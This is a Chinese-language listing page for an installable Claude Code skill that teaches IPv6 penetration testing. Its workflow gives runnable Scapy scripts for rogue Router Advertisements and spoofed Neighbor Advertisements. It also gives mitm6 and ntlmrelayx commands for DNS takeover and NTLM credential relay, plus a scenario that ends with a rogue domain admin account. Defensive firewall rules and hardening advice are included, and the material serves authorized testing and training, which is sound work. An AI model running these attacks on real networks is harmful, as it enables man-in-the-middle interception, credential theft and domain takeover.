关于 exploiting-ipv6-vulnerabilities
面向授权 IPv6 渗透测试的安全技能,涵盖网络发现、攻击技术、隧道检测和防火墙检查,并强调测试范围与安全限制。
主要功能
- 01IPv6 主机发现
- 02SLAAC 与路由器通告测试
- 03邻居发现欺骗检查
- 04IPv6 隧道检测
- 05防火墙与 IDS/IPS 评估
适用场景
- 01比较 IPv4 与 IPv6 安全控制
- 02评估网络中的未管理 IPv6
- 03测试 RA Guard 与 IPv6 防火墙规则
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-ipv6-vulnerabilities安装后在 Claude Code 中输入/exploiting-ipv6-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
利用 IPv6 漏洞
何时使用
- 测试双栈网络对 IPv4 和 IPv6 流量是否具有一致的安全控制
- 在官方仅支持 IPv4 的网络上演示非受管 IPv6 带来的风险
- 利用 SLAAC 和路由器通告机制通过 IPv6 实施中间人攻击
- 测试支持 IPv6 的防火墙规则以及 IDS/IPS 对 IPv6 特定攻击模式的检测
- 识别可绕过仅 IPv4 安全控制的 IPv6 隧道协议(6to4、Teredo、ISATAP)
请勿在未经书面授权的生产网络上使用,请勿针对 IPv6 中断可能引发安全问题的系统使用,也请勿用于针对网络基础设施的拒绝服务攻击。
前提条件
- 明确指定 IPv6 测试范围和已批准技术的书面授权
- 已安装 THC-IPv6 工具包、Scapy 和 mitm6 的 Kali Linux
- 目标网段上支持 IPv6 的网络接口
- 了解 IPv6 寻址、SLAAC、NDP 和路由器通告
- 用于捕获和分析 IPv6 流量的 Wireshark
工作流
步骤 1:枚举网络中的 IPv6
# Check if IPv6 is enabled on the local interface
ip -6 addr show
# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address
# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0
# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0
# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement
# Use radvdump to capture existing RAs
sudo radvdump
# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only
步骤 2:使用 mitm6 执行基于 SLAAC 的 MITM 攻击
# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen
# Start mitm6 to become the IPv6 DNS server
sudo mitm6 -d example.com -i eth0
# mitm6 performs the following:
# 1. Sends Router Advertisements to enable IPv6 on victims
# 2. Responds to DHCPv6 requests, assigning itself as DNS server
# 3. Victims now send DNS queries to the attacker over IPv6
# 4. Attacker can respond with spoofed DNS replies
# Combine with ntlmrelayx for credential relay
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot
# This exploits:
# 1. WPAD (Web Proxy Auto-Discovery) via DNS
# 2. Windows sends NTLM authentication to the WPAD proxy
# 3. ntlmrelayx relays the credentials to target servers
步骤 3:路由器通告欺骗
#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""
from scapy.all import *
from scapy.layers.inet6 import *
# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router
iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)
ra = (
Ether(dst="33:33:00:00:00:01") / # All-nodes multicast
IPv6(src=attacker_ipv6, dst="ff02::1") /
ICMPv6ND_RA(
routerlifetime=1800, # Advertise as router for 30 min
prf=1, # High preference
M=0, # No managed flag (use SLAAC)
O=1 # Other config via DHCPv6 (DNS)
) /
ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
ICMPv6NDOptPrefixInfo(
prefix="2001:db8:dead::", # Rogue prefix
prefixlen=64,
L=1,
A=1,
validlifetime=3600,
preferredlifetime=1800
) /
ICMPv6NDOptRDNSS(
dns=[attacker_ipv6], # Attacker as DNS server
lifetime=1800
)
)
print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")
步骤 4:IPv6 邻居发现攻击
# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)
# Using THC-IPv6 parasite6 tool
sudo parasite6 eth0
# Or craft with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *
# Spoof Neighbor Advertisement to redirect traffic
target_ipv6 = "2001:db8::50" # Victim IPv6 address
gateway_ipv6 = "2001:db8::1" # Gateway IPv6 address
attacker_mac = get_if_hwaddr("eth0")
# Tell the victim that we are the gateway
na = (
Ether(dst="33:33:00:00:00:01") /
IPv6(src=gateway_ipv6, dst="ff02::1") /
ICMPv6ND_NA(
tgt=gateway_ipv6,
R=1, S=0, O=1 # Router flag, Override flag
) /
ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)
print("[*] Sending spoofed Neighbor Advertisements...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF
# Detect NDP spoofing with ndpmon
sudo ndpmon -i eth0
步骤 5:IPv6 隧道检测与利用
# Detect Teredo tunnels (IPv6 over UDP port 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst
# Detect 6to4 tunnels (protocol 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst
# Detect ISATAP tunnels
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10
# Scan for Teredo-enabled hosts
nmap -6 -sU -p 3544 --open 10.10.0.0/24
# Test if IPv6 tunnels bypass IPv4 firewall rules
# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls
curl -6 http://[2001:db8::50]:8080/ # Access via IPv6 tunnel
# Block unwanted IPv6 tunnels at the firewall
# iptables: block protocol 41 (6to4, ISATAP) and Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
步骤 6:测试 IPv6 防火墙规则并记录
# Verify ip6tables rules are in place
sudo ip6tables -L -n -v
# Test if IPv6 firewall mirrors IPv4 rules
# Common oversight: IPv4 firewall is strict, IPv6 is wide open
nmap -6 -sS -p- <target_ipv6_address>
# Compare IPv4 and IPv6 scan results
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)
# Check for IPv6 RA Guard on the switch
# Cisco: show ipv6 snooping policies
# If not enabled, document as finding
# Clean up: stop all IPv6 attack tools
sudo killall mitm6 parasite6 2>/dev/null
关键概念
| 术语 | 定义 |
|---|---|
| SLAAC(无状态地址自动配置) | IPv6 机制,主机无需 DHCP 服务即可从路由器通告自动配置地址,可被恶意 RA 注入利用 |
| 路由器通告(RA) | 路由器发出的 ICMPv6 消息,用于通告网络前缀、默认网关和 DNS 配置;恶意 RA 可实现 MITM 攻击 |
| NDP(邻居发现协议) | IPv6 中替代 ARP 的协议,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击 |
| mitm6 | 利用 Windows 对 DHCPv6 的偏好成为 IPv6 DNS 服务的工具,可实现 DNS 欺骗和 NTLM 凭据中继 |
| RA Guard | 交换机级别的安全功能,用于过滤恶意路由器通告,防止未授权主机充当 IPv6 路由器 |
| IPv6 隧道 | 将 IPv6 数据包封装在 IPv4 中(6to4、Teredo、ISATAP),可绕过仅 IPv4 的安全控制和防火墙 |
工具与系统
- mitm6:IPv6 MITM 工具,利用 SLAAC 和 DHCPv6 成为 Windows 主机的 DNS 服务
- THC-IPv6 Toolkit:全面的 IPv6 攻击工具包,包括 alive6、parasite6、fake_router6 和洪水攻击工具
- Scapy:Python 数据包操作工具,用于构造自定义 ICMPv6 路由器通告和邻居发现数据包
- ndpmon:IPv6 邻居发现协议监控器,可检测恶意 RA 和 NDP 欺骗
- Nmap:全面支持 IPv6 的网络扫描器,包括组播发现和 IPv6 专用脚本
常见场景
场景:在仅使用 IPv4 的企业网络中利用未受管理的 IPv6
背景:某公司企业网络官方只使用 IPv4,但 Windows 工作站默认启用 IPv6。在一次内部渗透测试中,测试人员发现该 VLAN 上 IPv6 处于活动状态,且未部署任何 IPv6 安全控制措施(RA Guard、IPv6 ACL)。
方法:
- 发现所有 Windows 工作站都有链路本地 IPv6 地址,并正在监听路由器通告
- 运行 mitm6 发送 DHCPv6 响应,成为该 VLAN 上所有 Windows 主机的 IPv6 DNS 服务
- 配置 ntlmrelayx,将 WPAD 触发的 NTLM 认证中继到域控制器
- 在 5 分钟内,从 12 台工作站捕获并中继 NTLM 凭据,获得文件共享访问权限
- 成功中继一名域管理员的 NTLM 哈希,创建一个新的域管理员账户
- 记录缺乏 IPv6 安全控制措施导致在未利用任何传统漏洞的情况下实现完整域攻陷
- 建议在不需要的地方禁用 IPv6,在交换机上部署 RA Guard,并在网络边界阻止 DHCPv6
陷阱:
- 用路由器通告泛洪网络可能导致某些设备不稳定
- mitm6 会影响该 VLAN 上的所有 Windows 主机,而不仅仅是目标——确保范围覆盖所有可能受影响的主机
- 某些环境存在依赖 IPv6 的服务(SCCM、某些 Azure 服务),当 IPv6 被禁用时会中断
- 忘记检查可能提供替代攻击路径的 IPv6 隧道协议
输出格式
## IPv6 Security Assessment Report
**Test ID**: IPV6-2024-001
**Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6)
**Assessment Date**: 2024-03-15
### IPv6 Discovery
| Finding | Details |
|---------|---------|
| IPv6 Enabled Hosts | 147/150 workstations (Windows default) |
| Link-Local Addresses | Active on all discovered hosts |
| Router Advertisements | None detected (no IPv6 router) |
| DHCPv6 Server | None present |
| RA Guard | NOT configured on switches |
| IPv6 Firewall Rules | NONE (ip6tables empty) |
### Attack Results
| Attack | Result | Impact |
|--------|--------|--------|
| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |
| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |
| Domain Admin Relay | SUCCESS | Created rogue domain admin account |
| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |
### Recommendations
1. Deploy RA Guard on all access-layer switches (Critical)
2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)
3. Disable DHCPv6 client via Group Policy where IPv6 is not needed
4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall
5. Deploy IPv6-aware IDS rules for NDP spoofing detection
评论
支持 Markdown